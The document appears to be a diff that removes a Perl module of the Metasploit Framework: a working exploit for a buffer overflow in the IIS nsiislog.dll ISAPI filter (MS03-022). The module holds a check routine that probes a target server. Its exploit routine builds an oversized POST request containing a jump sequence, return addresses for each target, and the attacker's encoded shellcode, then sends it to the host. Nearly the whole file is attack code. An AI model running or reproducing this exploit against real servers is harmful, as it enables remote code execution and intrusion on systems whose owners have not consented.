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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::iis_nsiislog_post;
- use base "Msf::Exploit";
- use strict;
- use Pex::Text;
-
- my $advanced = { };
-
- my $info =
- {
- 'Name' => 'IIS nsiislog.dll ISAPI POST Overflow',
- 'Version' => '$Revision: 1.5 $',
- 'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'win32' ],
- 'Priv' => 0,
-
- 'UserOpts' =>
- {
- 'RHOST' => [1, 'ADDR', 'The target address'],
- 'RPORT' => [1, 'PORT', 'The target port', 80],
- 'SSL' => [0, 'BOOL', 'Use SSL'],
- },
-
- 'Payload' =>
- {
- 'Space' => 1024,
- 'BadChars' => "\x00+&=%\x0a\x0d\x20",
- 'Keys' => ['+ws2ord'],
- },
-
- 'Description' => Pex::Text::Freeform(qq{
- This exploits a buffer overflow found in the nsiislog.dll
- ISAPI filter that comes with Windows Media Server. This
- module will also work against the 'patched' MS03-019
- version. This vulnerability was addressed by MS03-022.
- }),
-
- 'Refs' =>
- [
- ['OSVDB', '4535'],
- ['MSB', 'MS03-022'],
- ['URL', 'http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0120.html'],
- ['MIL', '30'],
- ],
-
- 'DefaultTarget' => 0,
- 'Targets' =>
- [
- ['Bruteforce', 0, 0],
- ['Windows 2000 Pre-MS03-019', 9769, 0x40f01333],
- ['Windows 2000 Post-MS03-019', 13869, 0x40f01353],
- ['Windows XP Pre-MS03-019', 9773, 0x40f011e0],
- ],
-
- 'Keys' => ['iis'],
-
- 'DisclosureDate' => 'Jun 25 2003',
- };
-
- sub new {
- my $class = shift;
- my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
- return($self);
- }
-
- sub Check {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return $self->CheckCode('Connect');
- }
-
- $s->Send("GET /scripts/nsiislog.dll HTTP/1.1\r\nHost: $target_host:$target_port\r\n\r\n");
-
- my $r = $s->Recv(-1, 5);
-
- if ($r =~ /NetShow ISAPI/)
- {
- $self->PrintLine("[*] Found /scripts/nsiislog.dll ;)");
- return $self->CheckCode('Detected');
- } else {
-
- $self->PrintLine("The nsiislog.dll ISAPI does not appear to be installed");
- return $self->CheckCode('Safe');
- }
- }
-
- sub Exploit {
- my $self = shift;
- my $target_host = $self->GetVar('RHOST');
- my $target_port = $self->GetVar('RPORT');
- my $target_idx = $self->GetVar('TARGET');
- my $shellcode =$self->GetVar('EncodedPayload')->Payload;
-
- my @targets = @{$self->Targets};
- if ($target_idx == 0)
- {
- shift(@targets);
- } else {
- @targets = ( $targets[$target_idx] );
- }
-
- foreach my $target (@targets)
- {
- $self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
-
- my $request =
- "POST /scripts/nsiislog.dll HTTP/1.1\r\n".
- "Host: $target_host:$target_port\r\n".
- "User-Agent: NSPlayer/2.0\r\n".
- "Content-Type: application/x-www-form-urlencoded\r\n";
-
- my @fields = split(/\s+/, "date time c-dns cs-uri-stem c-starttime ".
- "x-duration c-rate c-status c-playerid c-playerversion ".
- "c-playerlanguage cs(User-Agent) cs(Referer) c-hostexe ");
- my $boom;
- foreach my $var (@fields) { $boom .= "$var=BOOM&"; }
-
- my $pattern = "O" x 65535;
-
- substr($pattern, $target->[1], 4, pack("V", $target->[2]));
- substr($pattern, $target->[1] - 4, 4, "\xeb\x08\xeb\x08");
- substr($pattern, $target->[1] + 4, length($shellcode), $shellcode);
-
- $boom .= "c-ip=" . $pattern;
- $request .= "Content-Length: " . length($boom) . "\r\n\r\n" . $boom;
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $target_host,
- 'PeerPort' => $target_port,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
- return;
- }
-
- $self->PrintLine("[*] Sending " .length($request) . " bytes to remote host.");
- $s->Send($request);
-
- $self->PrintLine("[*] Waiting for a response...");
- my $r = $s->Recv(-1, 5);
- sleep(2);
- $s->Close();
- }
-
- return;
- }
-
-